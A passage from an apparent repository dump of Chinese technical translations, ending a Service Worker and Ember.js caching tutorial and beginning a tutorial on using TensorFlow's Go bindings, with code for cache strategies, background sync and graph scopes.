[addAll](https://developer.mozilla.org/en-US/docs/Web/API/Cache/addAll)。\n\n![](http://blog.88mph.io/content/images/2017/07/Screenshot-2017-07-16-20.09.42.png)\n\n在 Chrome 开发者工具中查看缓存数据\n\n#### Fetch事件\n\n**Fetch** 事件是在每次网页发出请求的时候触发的，触发该事件的时候 Service Worker 能够 '拦截' 请求，并决定返回内容 ———— 是返回缓存的数据，还是返回真实请求响应的数据。\n\n下面的例子说明了**缓存优先**的策略：与请求匹配的任何缓存数据都将优先被返回，而不需要发送网络请求。只有当没有现有的缓存数据时才会发出网络请求。\n\n```\nself.addEventListener('fetch', event => {\n  const { request } = event;\n  const findResponsePromise = caches.open(CACHE_NAME)\n    .then(cache => cache.match(request))\n    .then(response => {\n      if (response) {\n        return response;\n      }\n\n      return fetch(request);\n    });\n\n  event.respondWith(findResponsePromise);\n});\n```\n\n`request` 属性包含在 [FetchEvent](https://developer.mozilla.org/en-US/docs/Web/API/FetchEvent) 对象里，它用于查找匹配请求的缓存。\n\n`cache.match` 将尝试找到一个与指定请求匹配的缓存响应。如果没有找到对应的缓存，则 promise 会 resolve 一个 `undefined` 值。在这个例子里，我们通过判断这个值来决定是返回这个值，还是调用 fetch 发起一个网络请求并返回一个 promise。\n\n`event.respondWith` 是一个 FetchEvent 对象中的特殊方法，用于将请求的响应发送回浏览器。它接收一个对响应（或网络错误）resolve 后的 Promise 对象作为参数。\n\n###### 缓存策略\n\nFetch 事件特别重要，因为它能够定义你的缓存策略。也就是说，你可以决定何时使用缓存数据，何时使用网络请求来的数据。\n\nService Worker 的好用之处在于它是一个用于拦截请求的低层 API，并允许你决定为其提供哪些响应。这允许我们自由的提供我们自己的缓存策略或者网络来源的内容。当你尝试实现一个最好的 Web App 的时候，有几种基本的缓存策略可以使用。\n\nMozilla 基金会有一个  [handy resource](https://serviceworke.rs/caching-strategies.html) 的文档，其中有写几种不同的缓存策略。还有 Jake Archibald 编写的 [The Offline Cookbook](https://developers.google.com/web/fundamentals/instant-and-offline/offline-cookbook) 书中有概述几种相似的缓存策略等等。\n\n在上文的一个例子中，我们演示了一个基本的**缓存优先**的策略。以下是我发现的一个适用于我自己项目的示例：**缓存和更新**策略。这个方法首先让缓存响应，随后在后台发起对应的网络请求。来自后台请求的响应用于更新缓存中的数据，以便在下次访问时提供更新后的响应。\n\n```\nself.addEventListener('fetch', event => {\n  const { request } = event;\n\n  event.respondWith(caches.open(CACHE_NAME)\n    .then(cache => cache.match(request))\n    .then(matching => matching || fetch(request)));\n\n  event.waitUntil(caches.open(CACHE_NAME)\n    .then(cache => fetch(request)\n      .then(response => cache.put(request, response))));\n});\n```\n\n`event.respondWith` 用于提供对请求的响应。这里我们打开缓存找到匹配的响应，如果它不存在，我们会走网络请求。\n\n随后，我们将调用 `event.waitUntil` 方法以允许在 Service Worker 上下文终止之前 resolve 一个异步Promise。这里会走一个网络请求，然后缓存其响应。一旦这个异步操作完成，`waitUntil` 将会 resolve，操作将会终止。\n\n#### 激活事件\n\n激活事件是一个较少记录的事件，但当你需要更新 Service Worker 文件，执行清理或者维护之前版本的 Service Worker 的时候，它是非常重要的。\n\n当你更新你的 Service Worker 文件（`/sw.js`）的时候，浏览器会检测到这些改变，它们在 Chrome 开发者工具中的展示如下图所示：\n\n![](http://blog.88mph.io/content/images/2017/07/Screenshot-2017-07-18-08.29.32.png)\n\n你的新 Service Worker 正在“等待激活”。\n\n当实际网页关闭并重新打开的时候，浏览器将使用新的 Service Worker 替换旧的 Service Worker，然后在 **install** 事件触发之后，触发 **activate** 事件，如果你需要清理缓存或者对旧版本的 Service Worker 进行维护，激活事件可以让你完美的做到这一点。\n\n#### 同步事件\n\nSync 事件允许延迟网络任务，直到用户连接上网络，它实现的功能通常被称为**后台同步**。这对于在离线模式下，确保用户启动的任何有网络依赖的任务，最终都将在网络再次可用时达到其预期目的，是非常有用的。\n\n下面是一个后台同步实现的例子。你需要在前端 JavaScript 中注册一个 sync 事件，并在 Service Worker 中附带 sync 事件处理程序。\n\n```\n// app.js\nnavigator.serviceWorker.ready\n  .then(registration => {\n    document.getElementById('submit').addEventListener('click', () => {\n      registration.sync.register('submit').then(() => {\n        console.log('sync registered!');\n      });\n    });\n  });\n```\n\n在这里，我们分配一个 click 事件给 button 元素，它将调用 [ServiceWorkerRegistration](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration) 对象上的 `sync.register` 方法。\n\n基本上，要确保任何操作都可以立即或最终在网络可用时到达网络，都需要被注册为 sync 事件。\n\n在 Service Worker 的事件处理程序中，可能的操作像是发送一个评论，或者获取用户数据等等。\n\n```\n// sw.js\nself.addEventListener('sync', event => {\n  if (event.tag === 'submit') {\n    console.log('sync!');\n  }\n});\n```\n\n这里我们监听一个 sync 事件，并检查 [SyncEvent](https://developer.mozilla.org/en-US/docs/Web/API/SyncEvent) 对象上的 `tag` 属性属性是否匹配我们指定给 click 事件的`'submit'`标签。\n\n如果对应 `'submit'` 标签下的多个 sync 事件信息被注册，sync 事件处理程序将只执行一次。\n\n因此，在这个例子中，如果用户离线，并点击了七次按钮，那么当网络恢复时，所有同步的注册事件将被合并且只触发一次。\n\n在这种情况下，如果你想拆分同步事件给每一次点击，你可以注册多个具有唯一标记的同步事件。\n\n###### 什么时候同步事件被触发？\n\n如果用户在线，则同步事件将会立即触发，并完成你定义的任何任务，而不会延时。\n\n如果用户离线，则一旦重新获得网络连接，同步事件就会触发。\n\n如果你像我一样，想在 Chrome 中尝试一下，一定要通过禁用 Wi-Fi 或者其他网络适配器来断开互联网连接。而在 Chrome 开发者工具中切换网络复选框不会触发 sync 事件。\n\n想了解更多的信息，你可以阅读文档 [this explainer document](https://github.com/WICG/BackgroundSync/blob/master/explainer.md) ，还有这篇文档  [introduction to background syncs](https://developers.google.com/web/updates/2015/12/background-sync) 。sync 事件现在在大部分浏览器当中并没有实现（撰写本文时，只能在 Chrome 中使用），但势必在将来会发生变化，敬请期待。\n\n#### 通知推送\n\n通知推送是 Service Workers 通过曝露其 `push` 以及浏览器实现的 [Push API](https://developer.mozilla.org/en-US/docs/Web/API/Push_API)  来启用的功能。\n\n当我们讨论网络推送通知的时候，实际上会涉及两种对应的技术：通知和推送信息。\n\n###### 通知\n\n通知是可以通过 Service Workers 实现的非常简单的功能：\n\n```\n// app.js\n// ask for permission\nNotification.requestPermission(permission => {\n  console.log('permission:', permission);\n});\n\n// display notification\nfunction displayNotification() {\n  if (Notification.permission == 'granted') {\n    navigator.serviceWorker.getRegistration()\n      .then(registration => {\n        registration.showNotification('this is a notification!');\n      });\n  }\n}\n```\n\n```\n// sw.js\nself.addEventListener('notificationclick', event => {\n  // notification click event\n});\n\nself.addEventListener('notificationclose', event => {\n  // notification closed event\n});\n```\n\n你首先需要向用户发出许可才能启用网页的通知。从那时起，你可以切换通知，并处理某些事件，例如用户关闭一个通知的时候。\n\n###### 消息推送\n\n推送消息涉及利用浏览器提供的 Push API 以及后端实现。这个要点可以单独抽出一篇文章详细讲解，但是其基本要点如下图所示：\n\n![Push API Diagram](http://blog.88mph.io/content/images/2017/07/push-api.svg)\n\n这是一个稍微复杂的过程，超出了本文的范围。但如果你想了解更多，可以参考 [introduction to push notifications](https://developers.google.com/web/ilt/pwa/introduction-to-push-notifications) 这篇文章 。\n\n## 使用Ember.js实现\n\n用 Ember.js 实现 Service Workers 的 APP 是非常容易的，凭借其脚手架工具 [ember-cli](https://ember-cli.com/) 和其插件体系 [Ember Add-ons](https://www.emberaddons.com) 社区的支持，你可以以一种即插即拔的方式在你的 Web App 中增加 Service Worker。\n\n这是由 DockYard 的人员提供的一系列插件 [ember-service-worker](https://github.com/DockYard/ember-service-worker) 及其对应文档 [here](http://ember-service-worker.com/documentation/getting-started/)。\n\n**ember-service-worker** 建立了一个模块化的结构，可以被用于插入其他 ember-service-worker-* 的插件，例如 [ember-service-worker-index](https://github.com/DockYard/ember-service-worker-index) 或者 [ember-service-worker-asset-cache](https://github.com/DockYard/ember-service-worker-asset-cache)。这些插件使用不同的表现实现对应行为，以及不同的缓存策略组成你的 Service Worker 服务。\n\n#### 了解`ember-service-worker`的约定\n\n所有的 **ember-service-worker-** 插件都遵循相同的模块结构，它们的核心逻辑存储在其根目录的`/service-worker` and `/service-worker-registration` 这两个文件夹中。\n\n    node_modules/ember-service-worker\n    ├── ...\n    ├── package.json\n    ├── service-worker\n        └── index.js\n    └── service-worker-registration\n        └── index.js\n\n\n`/service-worker` 该目录是实现 Service Worker 的主要存储位置（如文章前面所说的那个 `sw.js` 就是存储在这个目录下）。\n\n`/service-worker-registration` 该目录下有你需要在前端代码中运行的逻辑，像 Service Worker 的注册流程。\n\n让我们看看 **ember-service-worker-index** 该插件的 `/service-worker` 目录下的代码实现  (code [here](https://github.com/DockYard/ember-service-worker-index/blob/master/service-worker/index.js)) ，符合上面所说的内容。\n\n```\nimport {\n  INDEX_HTML_PATH,\n  VERSION,\n  INDEX_EXCLUDE_SCOPE\n} from 'ember-service-worker-index/service-worker/config';\n\nimport { urlMatchesAnyPattern } from 'ember-service-worker/service-worker/url-utils';\nimport cleanupCaches from 'ember-service-worker/service-worker/cleanup-caches';\n\nconst CACHE_KEY_PREFIX = 'esw-index';\nconst CACHE_NAME = `${CACHE_KEY_PREFIX}-${VERSION}`;\n\nconst INDEX_HTML_URL = new URL(INDEX_HTML_PATH, self.location).toString();\n\nself.addEventListener('install', (event) => {\n  event.waitUntil(\n    fetch(INDEX_HTML_URL, { credentials: 'include' }).then((response) => {\n      return caches\n        .open(CACHE_NAME)\n        .then((cache) => cache.put(INDEX_HTML_URL, response));\n    })\n  );\n});\n\nself.addEventListener('activate', (event) => {\n  event.waitUntil(cleanupCaches(CACHE_KEY_PREFIX, CACHE_NAME));\n});\n\nself.addEventListener('fetch', (event) => {\n  let request = event.request;\n  let isGETRequest = request.method === 'GET';\n  let isHTMLRequest = request.headers.get('accept').indexOf('text/html') !== -1;\n  let isLocal = new URL(request.url).origin === location.origin;\n  let scopeExcluded = urlMatchesAnyPattern(request.url, INDEX_EXCLUDE_SCOPE);\n\n  if (isGETRequest && isHTMLRequest && isLocal && !scopeExcluded) {\n    event.respondWith(\n      caches.match(INDEX_HTML_URL, { cacheName: CACHE_NAME })\n    );\n  }\n});\n```\n\n不去看具体的细节，我们可以看到，这个代码基本实现了我们之前讨论过的三个事件处理程序：`install`, `activate` and `fetch`。\n\n在 `install` 事件处理程序中，我们调用 `INDEX_HTML_URL`对应的接口，获取数据，然后调用 `cache.put` 存储响应数据。\n\n`activate` 阶段做了一些基本的清理缓存的操作。\n\n在 `fetch` 事件处理程序中，我们检查 `request` 是否满足几个条件（是否是 `GET` 请求，是否请求 HTML，是否是本地资源等等），只有满足一系列的条件，我们才把对应的数据缓存返回。\n\n注意我们调用 `cache.match`方法 和 `INDEX_HTML_URL` 地址，来查找值，而不使用 `request.url`请求的 url。这意味着无论实际调用的 URL 请求是什么，我们始终会根据相同的缓存密钥做对应的查找操作。\n\n这是因为 Ember 的应用程序将始终使用 `index.html` 进行页面渲染。在应用程序的根路径下的任何 URL 请求都将以 `index.html` 的缓存版本结尾，Ember 应用程序通常会接管。这就是 **ember-service-worker-index** 来缓存`index.html`的目的。\n\n同样的，[**ember-service-worker-asset-cache**](https://github.com/DockYard/ember-service-worker-asset-cache) 该插件将缓存所有在 `/assets` 目录下可以找到的所有资源，文件，触发调用其 `install`和 `fetch` 事件处理函数。\n\n有几个插件 [several add-ons](https://www.emberaddons.com/?query=service-worker) 也使用 **ember-service-worker** 该插件的结构，允许你自定义和微调对应的 Service Worker 的表现和缓存策略。\n\n#### 构建基于Ember和Service-Workers的App\n\n首先，你需要下载 [ember-cli](https://ember-cli.com/)，然后在命令行中执行下面的语句操作：\n\n```\n$ ember new new-app\n$ cd new-app\n$ ember install ember-service-worker\n$ ember install ember-service-worker-index\n$ ember install ember-service-worker-asset-cache\n```\n\n\n你的应用程序现在由 Service Workers 提供缓存服务，默认情况下，会将 `index.html`文件和 `/assets/**/*` 该目录下的内容缓存。\n\n你可以通过修改 `config/environment.js` 这个配置文件调整  `/assets` 文件夹下哪些文件将被缓存。\n\n如果你发现现有的 ember-service-worker 插件没有解决你的问题，你可以参照这个文档 [docs at the ember-service-worker website](http://ember-service-worker.com/documentation/authoring-plugins/) 创建你自己的插件。\n\n## 结论\n\n我希望你能够对 Service Workers 和其底层架构有一个更深入理解，以及怎样利用他们创建用户体验更好的Web App。\n\n`ember-service-worker` 插件让你能在你的 Ember.js 应用程序中很容易地实现他们。如果你发现需要实现一个自己的 Service Worker 的逻辑，你可以很容易的创建自己的插件，来实现你需要的行为所对应的事件处理程序，这是我想在不久的将来解决的问题，敬请关注！\n\n#### 来自我们的赞助商\n\n![](http://blog.88mph.io/content/images/2017/07/Quartzy-logo.png)\n\n**如果你对基于 Ember.js 的全职工作感兴趣，[Quartzy](https://www.quartzy.com/) 正在招聘前端工程师！我们帮助世界各地的科学家节省资金，使得他们更有效率的在实验室研究。[点击这里](http://grnh.se/coe8yp1)申请吧。**\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/understanding-tensorflow-using-go.md",
    "content": "> * 原文地址：[Understanding Tensorflow using Go](https://pgaleone.eu/tensorflow/go/2017/05/29/understanding-tensorflow-using-go/)\n> * 原文作者：[Paolo Galeone](https://pgaleone.eu/about/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[whatbeg](https://github.com/whatbeg),[yifili09](https://github.com/yifili09)\n\n# 用 Go 语言理解 Tensorflow\n\nTensorflow 并不是一个严格意义上的机器学习库，它是一个使用图来表示计算的通用计算库。它的核心功能由 C++ 实现，通过封装，能在各种不同的语言下运行。它的 Golang 版和 Python 版不同，Golang 版 Tensorflow 不仅能让你通过 Go 语言使用 Tensorflow，还能让你理解 Tensorflow 的底层实现。\n\n## 封装\n\n根据官方说明，Tensorflow 开发者发布了以下内容：\n\n- C++ 源码：底层和高层的具体功能由 C ++ 源码实现，它是真正 Tensorflow 的核心。\n\n- Python 封装与Python 库：由 C++ 实现自动生成的封装版本，通过这种方式我们可以直接用 Python 来调用 C++ 函数：这也是 numpy 的核心实现方式。\n\n  Python 库通过将 Python 封装版的各种调用结合起来，组成了各种广为人知的高层 API。\n\n- Java 封装\n\n- Go 封装\n\n作为一名 Gopher 而非一名 java 爱好者，我对 Go 封装给予了极大的关注，希望了解其适用于何种任务。\n\n> 译注，这里说的”封装“也有说法叫做”语言界面“\n\n## Go 封装\n\n![Tensorflow &amp; Go](https://pgaleone.eu/images/tensorflow_go/tensorgologo.png)\n\n图为 Gopher（由 Takuya Ueda [@tenntenn](https://twitter.com/tenntenn) 创建，遵循 CC 3.0 协议）与 Tensorflow 的 Logo 结合在一起。\n\n---\n\n首先要注意的是，代码维护者自己也承认了，Go API 缺少 `Variable` 支持，因此这个 API 仅用于**使用**训练好的模型，而**不能用于**进行模型训练。\n\n在文档 [Installing Tensorflow for Go](https://www.tensorflow.org/versions/master/install/install_go) 中已经明确提到：\n\n> TensorFlow 为 Go 编程提供了一些 API。这些 API 特别适合加载在 Python 中创建的模型，让其在 Go 应用 中运行。\n\n如果我们对训练机器学习模型没兴趣，那这个限制是 OK 的。\n\n但是，如果你打算自己训练模型，请看下面给的建议：\n\n> 作为一名 Gopher，请让 Go 保持简洁！使用 Python 去定义、训练模型，在这之后你随时都可以用 Go 来加载训练好的模型！（意思就是他们懒得开发呗）\n\n简而言之，golang 版 tensorflow 可以**导入与定义**常数图（constant graph）。这个常数图指的是在图中没有训练过程，也没有需要训练的变量。\n\n让我们用 Golang 深入研究 Tensorflow 吧！首先创建我们的第一个应用。\n\n我建议读者在阅读下面的内容前，先准备好 Go 环境，以及编译、安装好 Tensorflow Go 版（编译、安装过程参考 [README](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/go/README.md)）。\n\n## 理解 Tensorflow 的结构\n\n先复习一下什么是 Tensorflow 吧！（这是我个人的理解，和[官网](https://www.tensorflow.org/)的有所不同）\n\n> TensorFlow™ 是一个采用数据流图(data flow graphs),用于数值计算的开源软件库。节点（Nodes）在图中**表示**数学操作，图中的线（edges）则**表示**在节点间相互联系的多维数据数组，即张量（tensor）。\n\n我们可以把 Tensorflow 看做一种类似于 SQL 的描述性语言，首先你得确定你需要什么数据，它会通过底层引擎（数据库）分析你的查询语句，检查你的句法错误和语法错误，将查询语句转换为私有语言表达式，进行优化之后运算得出计算结果。这样，它能保证将正确的结果传达给你。\n\n因此，我们无论使用什么 API 实质上都是在描述一个图。我们将它放在 `Session` 中作为求值的起点，这样做确定了这个图将会在这个 Session 中运行。\n\n了解这一点，我们可以试着定义一个计算操作的图，并将其放在一个 `Session` 中进行求值。\n\n [API 文档](https://godoc.org/github.com/tensorflow/tensorflow/tensorflow/go)中明确告知了 `tensorflow`（简称 `tf`）包与 `op` 包中的可用方法列表。\n\n在这个列表中我们可以看到，这两个包中包含了一切我们需要用来定义与评价图的方法。\n\n`tf` 包中包含了各种构建基础结构的函数，例如 `Graph`（图）。`op` 包是最重要的包，它包含了由 C++ 实现自动生成的绑定等功能。\n\n现在，假设我们要计算 AAA 与 xxx 的矩阵乘法：\n\n![](https://ws2.sinaimg.cn/large/006tNc79gy1fg9itnbsc7j31au06274m.jpg)\n\n我假定你们都熟悉 tensorflow 图的定义，都了解 placeholder 并知道它们的工作原理。\n\n下面的代码是一位 Tensorflow Python 用户第一次尝试时会写的代码。让我们给这个文件取名为 `attempt1.go`。\n\n```\npackage main\n\nimport (\n\t\"fmt\"\n\ttf \"github.com/tensorflow/tensorflow/tensorflow/go\"\n\t\"github.com/tensorflow/tensorflow/tensorflow/go/op\"\n)\n\nfunc main() {\n\t// 第一步：创建图\n\n\t// 首先我们需要在 Runtime 定义两个 placeholder 进行占位\n\t// 第一个 placeholder A 将会被一个 [2, 2] 的 interger 类型张量代替\n\t// 第二个 placeholder x 将会被一个 [2, 1] 的 interger 类型张量代替\n\n\t// 接下来我们要计算 Y = Ax\n\n\t// 创建图的第一个节点：让这个空节点作为图的根\n\troot := op.NewScope()\n\n\t// 定义两个 placeholder\n\tA := op.Placeholder(root, tf.Int64, op.PlaceholderShape(tf.MakeShape(2, 2)))\n\tx := op.Placeholder(root, tf.Int64, op.PlaceholderShape(tf.MakeShape(2, 1)))\n\n\t// 定义接受 A 与 x 输入的 op 节点\n\tproduct := op.MatMul(root, A, x)\n\n\t// 每次我们传递一个域给一个操作的时候，\n\t// 我们都要将操作放在在这个域下。\n\t// 如你所见，现在我们已经有了一个空作用域（由 newScope）创建。这个空作用域\n\t// 是我们图的根，我们可以用“/”表示它。\n\n\t// 现在让 tensorflow 按照我们的定义建立图吧。\n\t// 依据我们定义的 scope 与 op 结合起来的抽象图，程序会创建相应的常数图。\n\n\tgraph, err := root.Finalize()\n\tif err != nil {\n\t\t// 如果我们错误地定义了图，我们必须手动修正相关定义，\n\t\t// 任何尝试自动处理错误的方法都是无用的。\n\n\t\t// 就像 SQL 查询一样，如果查询不是有效的语法，我们只能重写它。\n\t\tpanic(err.Error())\n\t}\n\n\t// 如果到这一步，说明我们的图语法上是正确的。\n\t// 现在我们可以将它放在一个 Session 中并执行它了！\n\n\tvar sess *tf.Session\n\tsess, err = tf.NewSession(graph, &tf.SessionOptions{})\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\t// 为了使用 placeholder，我们需要创建传入网络的值的张量\n\tvar matrix, column *tf.Tensor\n\n\t// A = [ [1, 2], [-1, -2] ]\n\tif matrix, err = tf.NewTensor([2][2]int64{ {1, 2}, {-1, -2} }); err != nil {\n\t\tpanic(err.Error())\n\t}\n\t// x = [ [10], [100] ]\n\tif column, err = tf.NewTensor([2][1]int64{ {10}, {100} }); err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\tvar results []*tf.Tensor\n\tif results, err = sess.Run(map[tf.Output]*tf.Tensor{\n\t\tA: matrix,\n\t\tx: column,\n\t}, []tf.Output{product}, nil); err != nil {\n\t\tpanic(err.Error())\n\t}\n\tfor _, result := range results {\n\t\tfmt.Println(result.Value().([][]int64))\n\t}\n}\n```\n\n上面的代码写好了注释，我建议读者阅读上面的每一条注释。\n\n现在，这位 Tensorflow Python 用户自我感觉良好，认为他的代码能够成功编译与运行。让我们试一试吧：\n\n`go run attempt1.go`\n\n然后他会看到：\n\n`panic: failed to add operation \"Placeholder\": Duplicate node name in graph: 'Placeholder'`\n\n等等，为什么会这样呢？\n\n问题很明显。上面代码里出现了 2 个重名的“Placeholder”操作。\n\n## 第 1 课：node IDs\n\n**每次在我们调用方法定义一个操作的时候，不管他是否在之前被调用过，Python API 都会生成不同的节点**。\n\n所以，下面的代码没有任何问题，会返回 3。\n\n```\nimport tensorflow as tf\na = tf.placeholder(tf.int32, shape=())\nb = tf.placeholder(tf.int32, shape=())\nadd = tf.add(a,b)\nsess = tf.InteractiveSession()\nprint(sess.run(add, feed_dict={a: 1,b: 2}))\n```\n\n我们可以验证一下这个问题，看看程序是否创建了两个不同的 placeholder 节点： `print(a.name, b.name)` \n\n它打印出 `Placeholder:0 Placeholder_1:0`。\n\n这样就清楚了，`a` placeholder 是 `Placeholder:0` 而 `b ` placeholder 是 `Placeholder_1:0`。\n\n但是在 Go 中，上面的程序会报错，因为 `A` 与 `x` 都叫做 `Placeholder`。我们可以由此得出结论：\n\n**每次我们调用定义操作的函数时，Go API 并不会自动生成新的名称**。因此，它的操作名是固定的，我们没法修改。\n\n#### 提问时间：\n\n- 关于 Tensorflow 的架构我们学到了什么？\n\n  **图中的每个节点都必须有唯一的名称。所有节点都是通过名称进行辨认。**\n\n- 节点名称与定义操作符的名称是否相同？\n\n  **是的，也可说节点名称是操作符名称的最后一段。**\n\n接下来让我们修复节点名称重复的问题，来弄明白上面的第二个提问。\n\n## 第 2 课：作用域\n\n正如我们所见，Python API 在定义操作时会自动创建新的名称。如果研究底层会发现，Python API 调用了 C++ `Scope` 类中的 `WithOpName` 方法。\n\n下面是该方法的文档及特性，参考 [scope.h](https://github.com/tensorflow/tensorflow/blob/a5b1fb8e56ceda0ee2794ee05f5a7642157875c5/tensorflow/cc/framework/scope.h)：\n\n```\n/// 返回新的作用域。所有在返回的作用域中的 op 都会被命名为\n/// <name>/<op_name>[_<suffix].\nScope WithOpName(const string& op_name) const;\n```\n\n注意这个方法，返回一个作用域 `Scope` 来对节点进行命名，因此节点名称事实上就是作用域 `Scope`。\n\n`Scope` 就是从根 `/`（空图）追溯至 `op_name` 的**完整路径**。\n\n`WithOpName` 方法在我们尝试添加一个有着相同的 `/` 到 `op_name` 路径的节点时，为了避免在相同作用域下有重复的节点，会为其加上一个后缀 `_<suffix>`（`<suffix>` 是一个计数器）。\n\n了解了以上内容，我们可以通过在 `type Scope` 中寻找 `WithOpName` 来解决重复节点名称的问题。然而，Go tf API  中没有这个方法。\n\n如果查阅 [type Scope 的文档](https://godoc.org/github.com/tensorflow/tensorflow/tensorflow/go/op#Scope)，我们可以看到唯一能返回新 `Scope` 的方法只有 `SubScope(namespace string)`。\n\n下面引用文档中的内容：\n\n> SubScope 将会返回一个新的 Scope，这个 Scope 能确保所有的被加入图中的操作都被放置在 ‘namespace’ 的命名空间下。如果这个命名空间和作用域中已经存在的命名空间冲突，将会给它加上后缀。\n\n这种加后缀的冲突处理和 C++ 中的 `WithOpName` 方法**不同**，`WithOpName` 是在**操作名后面**加`suffix`，它们都在同样的作用域内（例如 `Placeholder` 变成 `Placeholder_1`），而 Go 的 `SubScope` 是在**作用域名称后面**加 `suffix`。\n\n这将导致这两种方法会生成完全不同的图（节点在不同的作用域中了），但是它们的计算结果却是一样的。\n\n让我们试着改一改 placeholder 定义，让它们定义两个不同的节点，然后打印 `Scope` 名称。\n\n让我们创建 `attempt2.go` ，将下面几行\n\n```\nA := op.Placeholder(root, tf.Int64, op.PlaceholderShape(tf.MakeShape(2, 2)))\nx := op.Placeholder(root, tf.Int64, op.PlaceholderShape(tf.MakeShape(2, 1)))\n```\n\n改成\n\n```\n// 在根定义域下定义两个自定义域，命名为 input。这样\n// 我们就能在根定义域下拥有 input/ 和 input_1/ 两个定义域了。\nA := op.Placeholder(root.SubScope(\"input\"), tf.Int64, op.PlaceholderShape(tf.MakeShape(2, 2)))\nx := op.Placeholder(root.SubScope(\"input\"), tf.Int64, op.PlaceholderShape(tf.MakeShape(2, 1)))\nfmt.Println(A.Op.Name(), x.Op.Name())\n```\n\n编译、运行： `go run attempt2.go`，输出结果：\n\n```\ninput/Placeholder input_1/Placeholder\n```\n\n#### 提问时间：\n\n- 关于 Tensorflow 的架构我们学到了什么？\n\n  **节点完全由其定义所在的作用域标识。这个”作用域“是我们从图的根节点追溯到指定节点的一条路径。有两种方法来定义执行同一种操作的节点：1、将其定义放在不同的作用域中（Go 风格）2、改变操作名称（我们在 C++ 中可以这么做，Python 版会自动这么做）**\n\n现在，我们已经解决了节点命名重复的问题，但是现在我们的控制台中出现了另一个问题：\n\n    panic: failed to add operation \"MatMul\": Value for attr 'T' of int64 is not in the list of allowed values: half, float, double, int32, complex64, complex128\n为什么 `MatMul` 节点的定义出错了？我们要做的仅仅是计算两个 `tf.int64` 矩阵的乘积而已！似乎 `MatMul` 偏偏不能接受 `int64` 的类型。\n\n> Value for attr ‘T’ of int64 is not in the list of allowed values: half, float, double, int32, complex64, complex128\n\n上面这个列表是什么？为什么我们能计算 2 个 `int32` 矩阵的乘积却不能计算 `int64` 的乘积？\n\n下面我们将解决这个问题。\n\n##  第 3 课：Tensorflow 类型系统\n\n让我们深入研究 [源代码](https://github.com/tensorflow/tensorflow/blob/r1.2/tensorflow/core/ops/math_ops.cc#L1048) 来看 C++ 是如何定义 `MatMul` 操作的：\n\n```\nREGISTER_OP(\"MatMul\")\n    .Input(\"a: T\")\n    .Input(\"b: T\")\n    .Output(\"product: T\")\n    .Attr(\"transpose_a: bool = false\")\n    .Attr(\"transpose_b: bool = false\")\n    .Attr(\"T: {half, float, double, int32, complex64, complex128}\")\n    .SetShapeFn(shape_inference::MatMulShape)\n    .Doc(R\"doc(\nMultiply the matrix \"a\" by the matrix \"b\".\nThe inputs must be two-dimensional matrices and the inner dimension of\n\"a\" (after being transposed if transpose_a is true) must match the\nouter dimension of \"b\" (after being transposed if transposed_b is\ntrue).\n*Note*: The default kernel implementation for MatMul on GPUs uses\ncublas.\ntranspose_a: If true, \"a\" is transposed before multiplication.\ntranspose_b: If true, \"b\" is transposed before multiplication.\n```\n\n这几行代码为 `MatMul` 操作定义了一个接口，由 `REGISTER_OP` 宏对此操作做出了如下描述：\n\n- 名称: `MatMul`\n- 参数: `a`, `b`\n- 属性（可选参数）: `transpose_a`, `transpose_b`\n- 模版 `T` 支持的类型: `half, float, double, int32, complex64, complex128`\n- 输出类型: 自动识别\n- 文档\n\n这个宏没有包含任何 C++ 代码，但是它告诉了我们**当在定义一个操作的时候，即使它使用模版定义，我们也需要指定特定类型 `T` 支持的类型（或属性）列表。**\n\n实际上，属性 `.Attr(\"T: {half, float, double, int32, complex64, complex128}\")` 将 `T` 的类型限制在了这个类型列表中。\n[tensorflow 教程](https://www.tensorflow.org/extend/adding_an_op)中提到，当时模版 `T` 时，我们需要对所有支持的重载运算在内核进行注册。这个内核会使用 CUDA 方式引用 C/C++ 函数，进行并发执行。\n\n`MatMul` 的作者可能是出于以下 2 个原因仅支持上述类型而将 `int64` 排除在外的：\n\n1. 疏忽：这个是有可能的，毕竟 Tensorflow 的作者也是人类呀！\n2. 为了支持不能使用 `int64` 的设备，可能这个特性的内核实现不能在各种支持的硬件上运行。\n\n回到我们的问题中，已经很清楚如何解决问题了。我们需要将 `MatMul` 支持类型的参数传给它。\n\n让我们创建 `attempt3.go` ，将所有 `int64` 的地方都改成 `int32`。\n\n有一点需要注意：**Go 封装版 tf 有自己的一套类型，基本与 Go 本身的类型 1:1 相映射。当我们要将值传入图中时，我们必须遵循这种映射关系（例如定义 `tf.Int32` 类型的 placeholder 时要传入 `int32`）。从图中取值同理。**\n\n`*tf.Tensor` 类型将会返回一个张量 evaluation，它包含一个 `Value()` 方法，此方法将返回一个必须转换为正确类型的 `interface{}`（这是从图的结构了解到的）。\n\n运行 `go run attempt3.go`，得到结果：\n\n```\ninput/Placeholder input_1/Placeholder\n[[210] [-210]]\n```\n成功了！\n\n下面是 `attempt3` 的完整代码，你可以编译并运行它。（这是一个 Gist，如果你发现有啥可以改进的话欢迎来https://gist.github.com/galeone/09657143df49a90536f4ac4893c64696贡献代码）\n\n```\npackage main                                        \n\nimport (                                            \n\t\"fmt\"                                       \n\ttf \"github.com/tensorflow/tensorflow/tensorflow/go\"                                              \n\t\"github.com/tensorflow/tensorflow/tensorflow/go/op\"                                              \n)                                                   \n\nfunc main() {                                       \n\t// 第一步：创建图\n\n\t// 首先我们需要在 Runtime 定义两个 placeholder 进行占位\n\t// 第一个 placeholder A 将会被一个 [2, 2] 的 interger 类型张量代替\n\t// 第二个 placeholder x 将会被一个 [2, 1] 的 interger 